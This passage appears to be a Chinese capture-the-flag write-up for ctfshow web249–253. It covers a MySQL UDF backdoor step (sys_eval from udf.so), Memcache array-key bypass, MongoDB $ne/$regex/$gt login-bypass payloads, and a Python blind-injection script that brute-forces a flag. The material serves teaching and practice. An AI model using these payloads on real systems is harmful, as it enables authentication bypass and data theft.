CREATE FUNCTION = 注册后门
1.从 @@plugin_dir 加载 udf.so
2.找到导出的符号 sys_eval
3.注册为 SQL 函数
web249
$user = $memcache->get($id);
考点:nosql注入
使用 Memcache 类的 get 方法从缓存中获取数据,$id 是传入的键,用于从缓存中获取与该键对应的值,结果存储在 $user 变量中
解决:
数组绕过:
/api/?id[]=flag
返回:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"flag":"ctfshow{aea2dc6c-7668-492c-926c-623f64da0e9c}"}]}
解释:
正常:
/api/?id=1
返回:
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"user1","pass":"pass1"}]}
对于:$user = $memcache->get($id);
1.PHP 内建行为:
URL 参数:
?id=1
解析后:
$id = "1"; // string
URL 参数:
?id[]=flag
PHP 会解析为:
$id = ["flag"]; // array
2.memcache:
$memcache->get(['key1', 'key2']);
返回:
[
'key1' => value1,
'key2' => value2
]
3.对比
Memcache 有一个缓存存储,里面存了很多 key-value,比如:
key value
"1" {id:1, username:"user1", pass:"pass1"}
"2" {id:2, username:"user2", pass:"pass2"}
"flag" "ctfshow{...}"
字符串1:
$id = "1";
$user = $memcache->get("1");
找到了,就返回 value:
$user = [
"id" => 1,
"username" => "user1",
"pass" => "pass1"
];
数组flag:
$id = ["flag"];
$user = $memcache->get(["flag"]);
Memcache 自动进入批量查询模式
等价于:
$user = [
"flag" => $memcache->get("flag")
];
返回:
$user = [
"flag" => "ctfshow{...}"
];
4.数组和字符串返回值的区别
| 请求方式 | 传入类型 | Memcache 返回 | 后端是否接受 |
|---|---|---|---|
id=flag |
string | "ctfshow{...}" |
❌ 被当成非法结构 |
id[]=flag |
array | {"flag":"ctfshow{...}"} |
✅ 被当成合法数据 |
web250
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
考点:MongoDB NoSQL 注入
解决:
username[$ne]=1&password[$ne]=1
username[$regex]=.&password[$regex]=.
解释:
比较运算符:
| 操作符 | 含义 | 等价逻辑 | 注入中的用途 |
|---|---|---|---|
$eq |
等于 | == |
精确匹配(较少用) |
$ne |
不等于 | != |
重言式注入,直接绕过登录 |
$gt |
大于 | > |
盲注(字符比较) |
$gte |
大于等于 | >= |
盲注 |
$lt |
小于 | < |
盲注 |
$lte |
小于等于 | <= |
盲注 |
$in |
在集合中 | in (…) |
枚举 / 绕过 |
$nin |
不在集合中 | not in (…) |
绕过 |
逻辑运算符:
| 操作符 | 含义 | 等价逻辑 | 注入用途 |
|---|---|---|---|
$and |
与 | && |
精确控制条件 |
$or |
或 | | |
构造恒真条件 |
$nor |
全否 | !(A | B) |
逻辑绕过 |
$not |
取反 | ! |
反向匹配 |
对于正常的输入:
username=admin&password=123456
PHP 接收到的数据
$data = [
"username" => "admin",
"password" => "123456"
];
实际执行的 MongoDB 查询
db.ctfshow_user.find({
username: "admin",
password: "123456"
})
对于恶意的输入:
username[$ne]=1&password[$ne]=1
PHP 原生解析后
$_POST = [
"username" => [
"$ne" => "1"
],
"password" => [
"$ne" => "1"
]
];
MongoDB 实际收到的查询条件
db.ctfshow_user.find({
username: { $ne: "1" },
password: { $ne: "1" }
})
假设数据库中真实数据是:
{
username: "admin",
password: "admin123"
}
就这么绕过了登录:
"admin" != "1" → true
"admin123" != "1" → true
总结:
应用直接将用户输入作为 MongoDB 查询条件,未限制查询结构,攻击者通过构造 $ne 操作符,使查询条件恒成立,从而绕过身份认证,属于典型 MongoDB NoSQL 注入漏洞
web251
username[$ne]=1&password[$ne]=1
返回:
{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"61de6a5b504d14f773a7a95b"},"username":"admin","password":"ctfshow666nnneeaaabbbcc"}]}
这次查不是admin的
username[$ne]=admin&password[$ne]=1
返回
{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"6974cefc3f5a9581987c4bbc"},"username":"flag","password":"ctfshow{2c3fe686-5031-4752-a3b4-51dc75ad43b3}"}]}
web252
sql语句
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
返回逻辑
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}
解决:
思路1:
username[$gt]=admin1&password[$ne]=1
username[$gt]=admin2&password[$ne]=1
username[$gt]=admin3&password[$ne]=1
MongoDB 内部是按 UTF-8 / ASCII 顺序逐字符比较。
例子:
"admin2" > "admin1" ✔
"adminz" > "admin1" ✔
"ctfshow" > "admin1" ✔
思路2:
username[$ne]=1&password[$regex]=^ctfshow{
web253
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
难点:无flag回显
盲注:
import requests
import string
table = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
url = 'http://bb1039bf-96e5-413a-b4cc-e6914058a6cc.challenge.ctf.show/api/'
flag = ''
for i in range(100):
for j in table:
tmp = flag+j
payload1 = f'f{tmp}.*$'
data1 = {'username[$regex]':payload1
,'password[$ne]':1}
payload2 = f'^{tmp}.*$'
data2 = {'username[$regex]':'flag'
,'password[$regex]':payload2}
r = requests.post(url=url, data=data2).text
if r"\u767b\u9646\u6210\u529f" in r:
flag += j
print(flag)
break

浙公网安备 33010602011771号